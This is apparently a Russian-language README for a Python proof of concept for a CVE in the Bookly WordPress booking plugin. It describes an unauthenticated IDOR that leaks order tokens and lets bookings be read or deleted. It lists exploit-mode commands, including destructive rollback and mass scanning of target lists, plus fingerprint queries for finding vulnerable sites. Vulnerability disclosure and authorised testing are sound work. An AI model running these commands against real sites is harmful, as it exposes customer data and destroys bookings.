murrez/cve-2026-93399Python PoC для CVE-2026-93399 — неаутентифицированный IDOR в Bookly <= 28.2, который раскрывает токены заказов, предоставляет доступ к записям и откатывает бронирования.
PoC на Python 3 для CVE-2026-93399 в Bookly (bookly-responsive-appointment-booking-tool).
CVE-2026-93399 — Bookly ≤ 28.2 подвержен Insecure Direct Object Reference (CWE-639) в публичном AJAX-бронировании: bookly_get_form_id сохраняет контролируемый атакующим order_id в сессии формы, а bookly_render_complete возвращает секретный токен bookly_order этого заказа без проверки того, что сессия создала заказ. Неаутентифицированные атакующие могут перебирать ID заказов, похищать токены, извлекать данные о записях через bookly_add_to_calendar и отменять/удалять незавершённые бронирования с помощью bookly_rollback_order. CVSS 3.1: 9.1 Critical (C:N/I:H/A:H). Исправлено в > 28.2.
Страница PoC: https://pocbit.org/pocs/cve-2026-93399
Индекс каталога: https://pocbit.org/pocs/
pip install -r requirements.txt
python poc.py -u https://site.example --mode check
python poc.py -u https://site.example --mode check --order-id 15
python poc.py -u https://site.example --mode check --order-start 1 --order-end 30
python poc.py -u https://site.example --mode exploit --order-id 15 --calendar
python poc.py -u https://site.example --mode exploit --order-id 15 --rollback --confirm-delete
python poc.py --list targets.example.txt --mode check -j 10 --order-start 1 --order-end 5
body="/wp-content/plugins/bookly-responsive-appointment-booking-tool/"
body="bookly_get_form_id"
Только авторизованное тестирование. --rollback --confirm-delete безвозвратно удаляет бронирования.